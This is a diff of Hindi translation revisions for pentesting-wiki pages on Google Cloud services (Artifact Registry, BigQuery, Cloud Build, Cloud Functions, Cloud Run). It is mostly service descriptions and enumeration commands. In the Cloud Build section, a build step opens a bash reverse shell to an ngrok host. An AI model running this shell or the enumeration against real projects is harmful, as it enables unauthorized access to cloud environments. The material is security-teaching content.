3. **Fine-grained Access Control**: यह Google Cloud के पहचान और पहुँच प्रबंधन (IAM) के साथ एकीकृत होता है, जिससे आप यह परिभाषित कर सकते हैं कि कौन आपके भंडार में आर्टिफैक्ट्स तक पहुँच, अपलोड, या डाउनलोड कर सकता है।
3. **Fine-grained Access Control**: यह Google Cloud के पहचान और पहुँच प्रबंधन (IAM) के साथ एकीकृत होता है, जिससे आप यह परिभाषित कर सकते हैं कि कौन आपके रिपॉजिटरी में आर्टिफैक्ट्स को एक्सेस, अपलोड, या डाउनलोड कर सकता है।
4. **Geo-replication**: यह कई क्षेत्रों में आर्टिफैक्ट्स की प्रतिकृति का समर्थन करता है, डाउनलोड की गति में सुधार करता है और उपलब्धता सुनिश्चित करता है।
5. **Integration with Google Cloud Services**: यह **अन्य GCP सेवाओं जैसे Cloud Build, Kubernetes Engine, और Compute Engine** के साथ निर्बाध रूप से काम करता है, जिससे यह उन टीमों के लिए एक सुविधाजनक विकल्प बनता है जो पहले से Google Cloud पारिस्थितिकी तंत्र में काम कर रही हैं।
6. **Security**: **कमजोरियों की स्कैनिंग और कंटेनर विश्लेषण** जैसी सुविधाएँ प्रदान करता है ताकि यह सुनिश्चित किया जा सके कि संग्रहीत आर्टिफैक्ट्स सुरक्षित हैं और ज्ञात सुरक्षा समस्याओं से मुक्त हैं।
6. **Security**: यह **कमजोरी स्कैनिंग और कंटेनर विश्लेषण** जैसी सुविधाएँ प्रदान करता है ताकि यह सुनिश्चित किया जा सके कि स्टोर किए गए आर्टिफैक्ट्स सुरक्षित हैं और ज्ञात सुरक्षा समस्याओं से मुक्त हैं।
### Formats and Modes
जब एक नया भंडार बनाया जाता है, तो **भंडार के प्रारूप/प्रकार** को कई में से **चुनना संभव है** जैसे Docker, Maven, npm, Python... और मोड जो आमतौर पर इनमें से एक हो सकता है:
जब एक नया रिपॉजिटरी बनाया जाता है, तो यह संभव है कि आप **रिपॉजिटरी के प्रारूप/प्रकार** को कई में से चुनें जैसे Docker, Maven, npm, Python... और मोड जो आमतौर पर इनमें से एक हो सकता है:
- **Standard Repository**: **अपने स्वयं के आर्टिफैक्ट्स** (जैसे Docker छवियाँ, Maven पैकेज) को सीधे GCP में स्टोर करने के लिए डिफ़ॉल्ट मोड। यह सुरक्षित, स्केलेबल है, और Google Cloud पारिस्थितिकी तंत्र के भीतर अच्छी तरह से एकीकृत होता है।
- **Remote Repository** (यदि उपलब्ध हो): **बाहरी**, सार्वजनिक भंडारों से आर्टिफैक्ट्स को कैश करने के लिए एक प्रॉक्सी के रूप में कार्य करता है। यह निर्भरताओं के ऊपर बदलने से समस्याओं को रोकने में मदद करता है और अक्सर एक्सेस किए जाने वाले आर्टिफैक्ट्स को कैश करके विलंबता को कम करता है।
- **Virtual Repository** (यदि उपलब्ध हो): **एकल एंडपॉइंट के माध्यम से कई (मानक या दूरस्थ) भंडारों तक पहुँचने के लिए एकीकृत इंटरफ़ेस प्रदान करता है**, विभिन्न भंडारों में फैले आर्टिफैक्ट्स के लिए क्लाइंट-साइड कॉन्फ़िगरेशन और पहुँच प्रबंधन को सरल बनाता है।
- एक वर्चुअल भंडार के लिए आपको **भंडारों का चयन करना होगा और उन्हें प्राथमिकता देना होगा** (जिस भंडार की प्राथमिकता सबसे बड़ी होगी, उसका उपयोग किया जाएगा)।
- आप **वर्चुअल** में **दूरस्थ और मानक** भंडारों को **मिश्रित** कर सकते हैं, यदि **दूरस्थ** की **प्राथमिकता** **मानक** से **बड़ी** है, तो **दूरस्थ से पैकेज (उदाहरण के लिए PyPi) का उपयोग किया जाएगा**। इससे **Dependency Confusion** हो सकता है।
- **Standard Repository**: **अपने स्वयं के आर्टिफैक्ट्स** (जैसे Docker इमेज, Maven पैकेज) को सीधे GCP में स्टोर करने के लिए डिफ़ॉल्ट मोड। यह सुरक्षित, स्केलेबल है, और Google Cloud पारिस्थितिकी तंत्र के भीतर अच्छी तरह से एकीकृत होता है।
- **Remote Repository** (यदि उपलब्ध हो): **बाहरी**, सार्वजनिक रिपॉजिटरी से आर्टिफैक्ट्स को कैश करने के लिए एक प्रॉक्सी के रूप में कार्य करता है। यह उपरोक्त निर्भरताओं में बदलाव से समस्याओं को रोकने में मदद करता है और अक्सर एक्सेस किए जाने वाले आर्टिफैक्ट्स को कैश करके विलंबता को कम करता है।
- **Virtual Repository** (यदि उपलब्ध हो): **एकल एंडपॉइंट के माध्यम से कई (मानक या दूरस्थ) रिपॉजिटरी** तक पहुँचने के लिए एक **एकीकृत इंटरफ़ेस** प्रदान करता है, जो विभिन्न रिपॉजिटरी में फैले आर्टिफैक्ट्स के लिए क्लाइंट-साइड कॉन्फ़िगरेशन और पहुँच प्रबंधन को सरल बनाता है।
- एक वर्चुअल रिपॉजिटरी के लिए आपको **रिपॉजिटरी का चयन करना होगा और उन्हें प्राथमिकता देना होगा** (जिस रिपॉजिटरी की प्राथमिकता सबसे बड़ी होगी, उसका उपयोग किया जाएगा)।
- आप **वर्चुअल** में **दूरस्थ और मानक** रिपॉजिटरी को **मिश्रित** कर सकते हैं, यदि **दूरस्थ** की **प्राथमिकता** **मानक** से **बड़ी** है, तो **दूरस्थ से पैकेज (उदाहरण के लिए PyPi) का उपयोग किया जाएगा**। इससे **Dependency Confusion** हो सकता है।
ध्यान दें कि **Docker के दूरस्थ संस्करण** में Docker Hub तक पहुँचने के लिए एक उपयोगकर्ता नाम और टोकन देना संभव है। **टोकन फिर Secret Manager में संग्रहीत किया जाता है**
ध्यान दें कि **Docker के दूरस्थ संस्करण** में Docker Hub तक पहुँचने के लिए एक उपयोगकर्ता नाम और टोकन देना संभव है। **टोकन फिर Secret Manager में स्टोर किया जाता है**
### Encryption
@@ -38,7 +38,7 @@ Artifact Registry की प्रमुख विशेषताएँ शा
### Vulnerability Scanning
यह संभव है कि **कमजोरियों के स्कैनर** को सक्षम किया जाए जो **कंटेनर छवियों** के अंदर कमजोरियों की जाँच करेगा।
यह संभव है कि **कमजोर स्कैनर** को सक्षम किया जाए जो **कंटेनर इमेज** के अंदर कमजोरियों की जाँच करेगा।
### Enumeration
```bash
@@ -69,13 +69,13 @@ gcloud artifacts docker images list-vulnerabilities projects/<proj-name>/locatio
../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
{{#endref}}
### बिना प्रमाणीकरण क पहुंच
### बिना प्रमाणीकरण क पहुंच
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md
{{#endref}}
### पोस्ट-शोषण
### पोस्ट-एक्सप्लॉइटेशन
{{#ref}}
../gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
@@ -8,7 +8,7 @@
### Service Account
हालांकि (वर्तमान में) यह संभव नहीं है कि बैच नौकरी किस SA के साथ निष्पादित होगी, **यह कंप्यूट SA का उपयोग करेगी** (सामान्यतः संपादक अनुमतियाँ)।
हालांकि (वर्तमान में) यह संभव नहीं है कि बैच नौकरी किस SA के साथ निष्पादित होगी, **यह कंप्यूट SA का उपयोग करेगी** (संपादक अनुमतियाँ आमतौर पर)।
## Enumeration
```bash
@@ -4,7 +4,7 @@
## Basic Information
Google Cloud BigQuery एक **पूर्ण-प्रबंधित, सर्वर रहित उद्यम डेटा वेयरहाउस** है, जो **पेटाबाइट्स** के डेटा पर **विश्लेषण** की क्षमताएँ प्रदान करता है, इस प्रकार बड़े पैमाने पर डेटा सेट को कुशलतापूर्वक संभालता है। एक प्लेटफ़ॉर्म के रूप में सेवा (PaaS) के रूप में, यह उपयोगकर्ताओं को डेटा प्रबंधन को सुविधाजनक बनाने के लिए बुनियादी ढाँचा और उपकरण प्रदान करता है बिना मैनुअल देखरेख की आवश्यकता के।
Google Cloud BigQuery एक **पूर्ण-प्रबंधित, सर्वर रहित उद्यम डेटा वेयरहाउस** है, जो **पेटाबाइट्स** के डेटा पर **विश्लेषण** की क्षमताएँ प्रदान करता है, इस प्रकार बड़े पैमाने पर डेटा सेट को कुशलता से संभालता है। एक प्लेटफ़ॉर्म के रूप में सेवा (PaaS) के रूप में, यह उपयोगकर्ताओं को डेटा प्रबंधन को सुविधाजनक बनाने के लिए बुनियादी ढाँचा और उपकरण प्रदान करता है बिना मैनुअल निगरानी की आवश्यकता के।
यह **ANSI SQL** का उपयोग करके क्वेरी करने का समर्थन करता है। मुख्य वस्तुएँ **डेटासेट** हैं जिनमें **टेबल** होते हैं जो SQL **डेटा** को समाहित करते हैं।
@@ -22,7 +22,7 @@ Bigquery अन्य Google सेवाओं के साथ गहराई
### Dataset ACLs
जब एक डेटासेट बनाया जाता है तो **ACLs संलग्न** किए जाते हैं ताकि इसके ऊपर पहुँच प्रदान की जा सके। डिफ़ॉल्ट रूप से इसे **स्वामी** विशेषाधिकार दिए जाते हैं उस **उपयोगकर्ता**े लिए जिसने डेटासेट बनाया और फिर **स्वामी** समूह **projectOwners** (परियोजना के मालिकों) को, **लेखक** समूह **projectWriters** को, और **पाठक** समूह **projectReaders** को:
जब एक डेटासेट बनाया जाता है तो **ACLs संलग्न** किए जाते हैं ताकि इसके ऊपर पहुँच प्रदान की जा सके। डिफ़ॉल्ट रूप से इसे **स्वामी** विशेषाधिकार दिए जाते हैं उस **उपयोगकर्ता** जिसने डेटासेट बनाया और फिर **स्वामी** को समूह **projectOwners** (परियोजना के मालिक), **लेखक** को समूह **projectWriters,** और **पाठक** को समूह **projectReaders**:
```bash
bq show --format=prettyjson <proj>:<dataset>
@@ -53,7 +53,7 @@ bq show --format=prettyjson <proj>:<dataset>
```
### Table Rows Control Access
यह संभव है कि **एक प्रिंसिपल को एक तालिका के अंदर पहुंचने के लिए पंक्तियों को नियंत्रित किया जाए** पंक्ति पहुंच नीतियों के साथ। ये तालिका के अंदर [**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement) का उपयोग करके परिभाषित की जाती हैं।\
यह संभव है कि **एक प्रिंसिपल द्वारा तालिका के अंदर पहुंच योग्य पंक्तियों को नियंत्रित किया जाए** पंक्ति पहुंच नीतियों के साथ। ये तालिका के अंदर [**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement) का उपयोग करके परिभाषित की जाती हैं।\
पहुंच नीति एक फ़िल्टर को परिभाषित करती है और **केवल मिलती-जुलती पंक्तियाँ** उस फ़िल्टर के साथ **उपलब्ध** होंगी जो निर्दिष्ट प्रिंसिपलों द्वारा।
```sql
# Create
@@ -78,22 +78,22 @@ FILTER USING (region = 'US');
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
```
### Columns Access Control
### कॉलम एक्सेस नियंत्रण
<figure><img src="../../../images/image (12).png" alt=""><figcaption></figcaption></figure>
डेटा एक्सेस को कॉलम स्तर पर सीमित करने के लिए:
कॉलम स्तर पर डेटा एक्सेस को प्रतिबंधित करने के लिए:
1. **एक वर्गीकरण और नीति टैग परिभाषित करें**। अपने डेटा के लिए एक वर्गीकरण और नीति टैग बनाएं और प्रबंधित करें। [https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags)
2. वैकल्पिक: **डेटा कैटलॉग फाइन-ग्रेन रीडर भूमिका को एक या अधिक प्रिंसिपल को सौंपें** जो आपने बनाए गए नीति टैग में से एक या अधिक पर हो
3. **अपने BigQuery कॉलम में नीति टैग असाइन करें**। BigQuery में, उन कॉलमों में नीति टैग असाइन करने के लिए स्कीमा एनोटेशन का उपयोग करें जहां आप एक्सेस को सीमित करना चाहते हैं।
2. वैकल्पिक: **नीति टैग में से एक या अधिक पर एक या अधिक प्रिंसिपल को डेटा कैटलॉग फाइन-ग्रेन रीडर भूमिका दें**
3. **अपने BigQuery कॉलम को नीति टैग असाइन करें**। BigQuery में, उन कॉलमों पर नीति टैग असाइन करने के लिए स्कीमा एनोटेशन का उपयोग करें जहां आप एक्सेस को प्रतिबंधित करना चाहते हैं।
4. **वर्गीकरण पर एक्सेस नियंत्रण लागू करें**। एक्सेस नियंत्रण लागू करने से वर्गीकरण में सभी नीति टैग के लिए परिभाषित एक्सेस प्रतिबंध लागू होते हैं।
5. **नीति टैग पर एक्सेस प्रबंधित करें**। प्रत्येक नीति टैग तक पहुंच को सीमित करने के लिए [पहचान और एक्सेस प्रबंधन](https://cloud.google.com/iam) (IAM) नीतियों का उपयोग करें। नीति उस प्रत्येक कॉलम के लिए प्रभावी है जो नीति टैग से संबंधित है।
5. **नीति टैग पर एक्सेस प्रबंधित करें**। प्रत्येक नीति टैग तक पहुंच को प्रतिबंधित करने के लिए [पहचान और पहुंच प्रबंधन](https://cloud.google.com/iam) (IAM) नीतियों का उपयोग करें। नीति उस प्रत्येक कॉलम के लिए प्रभावी है जो नीति टैग से संबंधित है।
जब कोई उपयोगकर्ता क्वेरी समय पर कॉलम डेटा तक पहुंचने की कोशिश करता है, तो BigQuery **उपयोगकर्ता को डेटा तक पहुंचने के लिए अधिकृत है या नहीं यह देखने के लिए कॉलम नीति टैग और इसकी नीति की जांच करता है**
जब क उपयोगकर्ता क्वेरी समय पर कॉलम डेटा तक पहुंचने की कोशिश करता है, तो BigQuery **कॉलम नीति टैग और इसकी नीति की जांच करता है कि क्या उपयोगकर्ता डेटा तक पहुंचने के लिए अधिकृत है**
> [!TIP]
> संक्षेप में, कुछ कॉलमों तक कुछ उपयोगकर्ताओं की पहुंच को सीमित करने के लिए, आप **स्कीमा में कॉलम पर एक टैग जोड़ सकते हैं और उपयोगकर्ताओं की टैग तक पहुंच को सीमित कर सकते हैं, जो टैग के वर्गीकरण पर एक्सेस नियंत्रण लागू करता है**
> संक्षेप में, कुछ कॉलमों तक कुछ उपयोगकर्ताओं की पहुंच को प्रतिबंधित करने के लिए, आप **स्कीमा में कॉलम पर एक टैग जोड़ सकते हैं और उपयोगकर्ताओं की टैग तक पहुंच को प्रतिबंधित कर सकते हैं, टैग के वर्गीकरण पर एक्सेस नियंत्रण लागू करके**
वर्गीकरण पर एक्सेस नियंत्रण लागू करने के लिए सेवा को सक्षम करना आवश्यक है:
```bash
@@ -169,7 +169,7 @@ bq show --encryption_service_account # Get encryption service account
```sql
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
```
- **सभी तालिकाओं** के **स्तंभ** और **तालिका** नाम:
- **डेटासेट** के **सभी तालिकाओं** के **स्तंभ** और **तालिका** नाम:
```sql
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
@@ -194,7 +194,7 @@ SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SC
- सभी फ़ंक्शन सूची: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
- स्क्रिप्टिंग कथन: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)
### विशेषाधिकार वृद्धि & पोस्ट शोषण
### विशेषाधिकार वृद्धि & पोस्ट एक्सप्लोइटेशन
{{#ref}}
../gcp-privilege-escalation/gcp-bigquery-privesc.md
@@ -4,7 +4,7 @@
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
एक पूरी तरह से प्रबंधित, स्केलेबल NoSQL डेटाबेस सेवा जो बड़े विश्लेषणात्मक और परिचालन कार्यभार के लिए 99.999% उपलब्धता तक है। [अधिक जानें](https://cloud.google.com/bigtable).
एक पूरी तरह से प्रबंधित, स्केलेबल NoSQL डेटाबेस सेवा जो बड़े विश्लेषणात्मक और परिचालन कार्यभार के लिए 99.999% उपलब्धता तक है। [Learn more](https://cloud.google.com/bigtable).
```bash
# Cloud Bigtable
gcloud bigtable instances list
@@ -9,7 +9,7 @@ Google Cloud Build एक प्रबंधित CI/CD प्लेटफ़
प्रत्येक Cloud Build Trigger **एक Cloud Repository से संबंधित है या सीधे एक बाहरी रिपॉजिटरी** (Github, Bitbucket और Gitlab) से जुड़ा हुआ है।
> [!TIP]
> मैं यहाँ या Cloud Repositories से Github/Bitbucket टोकन चुराने का कोई तरीका नहीं देख सका क्योंकि जब रिपॉजिटरी डाउनलोड की जाती है, तो इसे [https://source.cloud.google.com/](https://source.cloud.google.com/) URL के माध्यम से एक्सेस किया जाता है और Github क्लाइंट द्वारा एक्सेस नहीं किया जाता है।
> मैं यहाँ से या Cloud Repositories से Github/Bitbucket टोकन चुराने का कोई तरीका नहीं देख सका क्योंकि जब रिपॉजिटरी डाउनलोड की जाती है, तो इसे [https://source.cloud.google.com/](https://source.cloud.google.com/) URL के माध्यम से एक्सेस किया जाता है और Github क्लाइंट द्वारा एक्सेस नहीं किया जाता है।
### Events
@@ -17,16 +17,16 @@ Cloud Build को ट्रिगर किया जा सकता है
- **एक शाखा पर पुश करें**: शाखा निर्दिष्ट करें
- **एक नया टैग पुश करें**: टैग निर्दिष्ट करें
- P**ull request**: उस शाखा को निर्दिष्ट करें जो PR प्राप्त करती है
- **पुल अनुरोध**: उस शाखा को निर्दिष्ट करें जो PR प्राप्त करती है
- **मैनुअल इनवोकेशन**
- **Pub/Sub संदेश:** विषय निर्दिष्ट करें
- **Webhook घटना**: HTTPS URL को उजागर करेगा और अनुरोध को एक गुप्त के साथ प्रमाणित किया जाना चाहिए
- **Webhook घटना**: एक HTTPS URL को उजागर करेगा और अनुरोध को एक गुप्त के साथ प्रमाणित किया जाना चाहिए
### Execution
यहाँ 3 विकल्प हैं:
- एक yaml/json **कमांड को निर्दिष्ट करने के लिए।** आमतौर पर: `/cloudbuild.yaml`
- एक yaml/json **कमांड को निर्दिष्ट करन** जो निष्पादित किया जाना है। आमतौर पर: `/cloudbuild.yaml`
- केवल एक जो वेब कंसोल और CLI में "इनलाइन" निर्दिष्ट किया जा सकता है
- सबसे सामान्य विकल्प
- प्रमाणीकरण रहित पहुंच के लिए प्रासंगिक
@@ -47,7 +47,7 @@ Cloud Build को ट्रिगर किया जा सकता है
### PR Approvals
जब ट्रिगर PR होता है क्योंकि **कोई भी सार्वजनिक रिपॉजिटरी पर PR कर सकता है** तो केवल **किसी भी PR के साथ ट्रिगर के निष्पादन की अनुमति देना बहुत खतरनाक होगा।** इसलिए, डिफ़ॉल्ट रूप से, निष्पादन केवल **स्वामियों और सहयोगियों के लिए स्वचालित होगा**, और अन्य उपयोगकर्ताओं के PRs के साथ ट्रिगर को निष्पादित करने के लिए एक स्वामी या सहयोगी को `/gcbrun` टिप्पणी करनी होगी।
जब ट्रिगर PR होता है क्योंकि **कोई भी सार्वजनिक रिपॉजिटरी पर PR कर सकता है** तो केवल **किसी भी PR के साथ ट्रिगर के निष्पादन की अनुमति देना बहुत खतरनाक होगा।** इसलिए, डिफ़ॉल्ट रूप से, निष्पादन केवल **स्वामियों और सहयोगियों के लिए स्वचालित होगा**, और अन्य उपयोगकर्ताओं के PRs के साथ ट्रिगर को निष्पादित करने के लिए एक मालिक या सहयोगी को `/gcbrun` टिप्पणी करनी होगी।
<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>
@@ -55,22 +55,22 @@ Cloud Build को ट्रिगर किया जा सकता है
कनेक्शन निम्नलिखित पर बनाए जा सकते हैं:
- **GitHub:** यह **Github टोकन प्राप्त करने** के लिए अनुमतियों के लिए OAuth प्रॉम्प्ट दिखाएगा जो **Secret Manager** के अंदर संग्रहीत किया जाएगा।
- **GitHub Enterprise:** यह एक **GithubApp** स्थापित करने के लिए कहेगा। आपके GitHub Enterprise होस्ट से एक **प्रमाणीकरण टोकन** बनाया जाएगा और इस प्रोजेक्ट में एक S**ecret Manager** गुप्त के रूप में संग्रहीत किया जाएगा।
- **GitHub:** यह एक OAuth प्रॉम्प्ट दिखाएगा जो **Github टोकन प्राप्त करने के लिए अनुमतियों** के लिए पूछेगा जो **Secret Manager** के अंदर संग्रहीत किया जाएगा।
- **GitHub Enterprise:** यह एक **GithubApp** स्थापित करने के लिए पूछेगा। आपके GitHub Enterprise होस्ट से एक **प्रमाणीकरण टोकन** बनाया जाएगा और इसे इस प्रोजेक्ट में एक **Secret Manager** गुप्त के रूप में संग्रहीत किया जाएगा।
- **GitLab / Enterprise:** आपको **API एक्सेस टोकन और पढ़ने के लिए API एक्सेस टोकन** प्रदान करने की आवश्यकता है जो **Secret Manager** में संग्रहीत किया जाएगा।
एक बार कनेक्शन उत्पन्न होने के बाद, आप इसका उपयोग **उन रिपॉजिटरी को लिंक करने के लिए कर सकते हैं जिनका Github खाता तक पहुंच है।**
एक बार कनेक्शन उत्पन्न होने के बाद, आप इसका उपयोग **उन रिपॉजिटरी को लिंक करने के लिए कर सकते हैं जिनका Github खाता तक पहुंच है**
यह विकल्प बटन के माध्यम से उपलब्ध है:
<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> ध्यान दें कि इस विधि से जुड़े रिपॉजिटरी **केवल 2nd पीढ़ी के ट्रिगर्स में उपलब्ध हैं।**
> ध्यान दें कि इस विधि से जुड़े रिपॉजिटरी **केवल 2nd पीढ़ी का उपयोग करने वाले ट्रिगर्स में उपलब्ध हैं।**
### Connect a Repository
यह **`connection`** के समान नहीं है। यह **Github या Bitbucket** रिपॉजिटरी तक पहुच प्राप्त करने के लिए **विभिन्न** तरीकों की अनुमति देता है लेकिन **एक कनेक्शन ऑब्जेक्ट उत्पन्न नहीं करता है, बल्कि यह एक रिपॉजिटरी ऑब्जेक्ट (1st पीढ़ी का) उत्पन्न करता है।**
यह **`connection`** के समान नहीं है। यह **Github या Bitbucket** रिपॉजिटरी तक पहुच प्राप्त करने के **विभिन्न** तरीकों की अनुमति देता है लेकिन **एक कनेक्शन ऑब्जेक्ट उत्पन्न नहीं करता है, बल्कि यह एक रिपॉजिटरी ऑब्जेक्ट (1st पीढ़ी का) उत्पन्न करता है।**
यह विकल्प बटन के माध्यम से उपलब्ध है:
@@ -84,9 +84,9 @@ git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
```
एक स्टोरेज बकेट जिसे [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) कहा जाता है, `.tgz` फ़ाइलों को स्टोर करने के लिए बनाया गया है ज उपयोग की जाने वाली हैं।
एक स्टोरेज बकेट जिसे [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) कहा जाता है, एक `.tgz` फ़ाइल को स्टोर करने के लिए बनाया गया है जिसमें उपयोग के लिए फ़ाइलें हैं।
### Get shell
### शेल प्राप्त करें
```yaml
steps:
- name: bash
@@ -96,7 +96,7 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
gcloud को क्लाउड बिल्ड के अंदर इंस्टॉल करें:
ग्लाउड को क्लाउड बिल्ड के अंदर स्थापित करें:
```bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
@@ -148,13 +148,13 @@ done
../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
{{#endref}}
### बिना प्रमाणीकरण क पहुंच
### बिना प्रमाणीकरण क पहुंच
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
{{#endref}}
### पोस्ट एक्सप्लइटेशन
### पोस्ट एक्सप्लइटेशन
{{#ref}}
../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
@@ -18,11 +18,11 @@ Cloud Functions **कोड GCP Storage में संग्रहीत ह
`gcf-sources-645468741258-us-central1/function-1-003dcbdf-32e1-430f-a5ff-785a6e238c76/version-4/function-source.zip`
> [!WARNING]
> Cloud Function को संग्रहीत करने वाले **बकेट पर पढ़ने के अधिकार** रखने वाला कोई भी उपयोगकर्ता **निष्पादित कोड को पढ़ सकता है**
> बकेट में **पढ़ने के अधिकार** रखने वाला कोई भी उपयोगकर्ता **निष्पादित कोड को पढ़ सकता है**
### Artifact Registry
यदि क्लाउड फ़ंक्शन इस तरह से कॉन्फ़िगर किया गया है कि निष्पादित Docker कंटेनर प्रोजेक्ट के अंदर एक Artifact Registry रिपॉजिटरी के अंदर संग्रहीत है, तो किसी भी व्यक्ति के पास रिपॉजिटरी पर पढ़ने की पहुंच होगी, वह छवि डाउनलोड कर सकता है और स्रोत कोड की जांच कर सकता है। अधिक जानकारी के लिए देखें:
यदि क्लाउड फ़ंक्शन इस तरह से कॉन्फ़िगर किया गया है कि निष्पादित Docker कंटेनर प्रोजेक्ट के अंदर एक Artifact Registry रिपॉजिटरी के अंदर संग्रहीत है, तो रिपॉजिटरी पर पढ़ने की पहुंच रखने वाला कोई भी व्यक्ति छवि डाउनलोड कर सकेगा और स्रोत कोड की जांच कर सकेगा। अधिक जानकारी के लिए देखें:
{{#ref}}
gcp-artifact-registry-enum.md
@@ -39,7 +39,7 @@ gcp-artifact-registry-enum.md
URL प्रारूप है **`https://<region>-<project-gcp-name>.cloudfunctions.net/<func_name>`**
जब HTTPS ट्रिगर का उपयोग किया जाता है, तो यह भी संकेतित किया जाता है कि **कॉलर को फ़ंक्शन को कॉल करने के लिए IAM प्राधिकरण की आवश्यकता है** या यदि **कोई भी** इसे बस कॉल कर सकता है:
जब HTTPS ट्रिगर का उपयोग किया जाता है, तो यह भी संकेतित किया जाता है कि **कॉलर को फ़ंक्शन को कॉल करने के लिए IAM प्राधिकरण** की आवश्यकता है या यदि **कोई भी** इसे बस कॉल कर सकता है:
<figure><img src="../../../images/image (19).png" alt=""><figcaption></figcaption></figure>
@@ -81,13 +81,13 @@ curl -X POST https://<region>-<project>.cloudfunctions.net/<func_name> \
../gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
{{#endref}}
### अनधिकृत पहु
### अनधिकृत पहु
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md
{{#endref}}
### पोस्ट शोषण
### पोस्ट एक्सप्लोइटेशन
{{#ref}}
../gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
@@ -4,22 +4,22 @@
## Cloud Run <a href="#reviewing-cloud-run-configurations" id="reviewing-cloud-run-configurations"></a>
Cloud Run एक सर्वरलेस प्रबंधित कंप्यूट प्लेटफ़ॉर्म है जो आपको **कंटेनर** को सीधे Google के स्केलेबल इन्फ्रास्ट्रक्चर पर चलाने की अनुमति देता है।
Cloud Run एक सर्वरलेस प्रबंधित कंप्यूट प्लेटफ़ॉर्म है जो आपको **कंटेनर** को सीधे Google के स्केलेबल इन्फ्रास्ट्रक्चर पर **चलाने** की अनुमति देता है।
आप अपने कंटेनर को चला सकते हैं या यदि आप Go, Node.js, Python, Java, .NET Core, या Ruby का उपयोग कर रहे हैं, तो आप [source-based deployment](https://cloud.google.com/run/docs/deploying-source-code) विकल्प का उपयोग कर सकते हैं जो **आपके लिए कंटेनर बनाता है।**
Google ने Cloud Run को **अन्य सेवाओं के साथ अच्छी तरह से काम करने के लिए बनाया है जो Google Cloud पर हैं**, ताकि आप पूर्ण विशेषताओं वाले अनुप्रयोग बना सकें।
Google ने Cloud Run को **अन्य सेवाओं के साथ अच्छी तरह से काम करने** के लिए बनाया है, ताकि आप पूर्ण विशेषताओं वाले अनुप्रयोग बना सकें।
### Services and jobs <a href="#services-and-jobs" id="services-and-jobs"></a>
Cloud Run पर, आपका कोड या तो एक _**सेवा**_ के रूप में लगातार चल सकता है या एक _**नौकरी**_ के रूप में। दोनों सेवाएँ और नौकरियाँ एक ही वातावरण में चलती हैं और Google Cloud पर अन्य सेवाओं के साथ समान एकीकरण का उपयोग कर सकती हैं।
Cloud Run पर, आपका कोड या तो _**सेवा**_ के रूप में लगातार चल सकता है या _**नौकरी**_ के रूप में। दोनों सेवाएँ और नौकरियाँ एक ही वातावरण में चलती हैं और Google Cloud पर अन्य सेवाओं के साथ समान एकीकरण का उपयोग कर सकती हैं।
- **Cloud Run सेवाएँ।** वे कोड चलाने के लिए उपयोग की जाती हैं जो वेब अनुरोधों या घटनाओं का उत्तर देती हैं।
- **Cloud Run सेवाएँ।** वेब अनुरोधों या घटनाओं का उत्तर देने के लिए कोड चलाने के लिए उपयोग की जाती हैं।
- **Cloud Run नौकरियाँ।** वे कोड चलाने के लिए उपयोग की जाती हैं जो कार्य (एक नौकरी) करती हैं और जब कार्य पूरा हो जाता है तो समाप्त हो जाती हैं।
## Cloud Run Service
Google [Cloud Run](https://cloud.google.com/run) एक और सर्वरलेस पेशकश है जहाँ आप env variables के लिए भी खोज कर सकते हैं। Cloud Run एक छोटा वेब सर्वर बनाता है, जो डिफ़ॉल्ट रूप से कंटेनर के अंदर पोर्ट 8080 पर चल रहा है, जो HTTP GET अनुरोध की प्रतीक्षा करता है। जब अनुरोध प्राप्त होता है, तो एक नौकरी निष्पादित होती है और नौकरी का लॉग HTTP प्रतिक्रिया के माध्यम से आउटपुट होता है।
Google [Cloud Run](https://cloud.google.com/run) एक और सर्वरलेस पेशकश है जहाँ आप env variables के लिए खोज कर सकते हैं। Cloud Run एक छोटा वेब सर्वर बनाता है, जो डिफ़ॉल्ट रूप से कंटेनर के अंदर पोर्ट 8080 पर चल रहा है, जो HTTP GET अनुरोध की प्रतीक्षा करता है। जब अनुरोध प्राप्त होता है, तो एक नौकरी निष्पादित होती है और नौकरी का लॉग HTTP प्रतिक्रिया के माध्यम से आउटपुट होता है।
### Relevant details
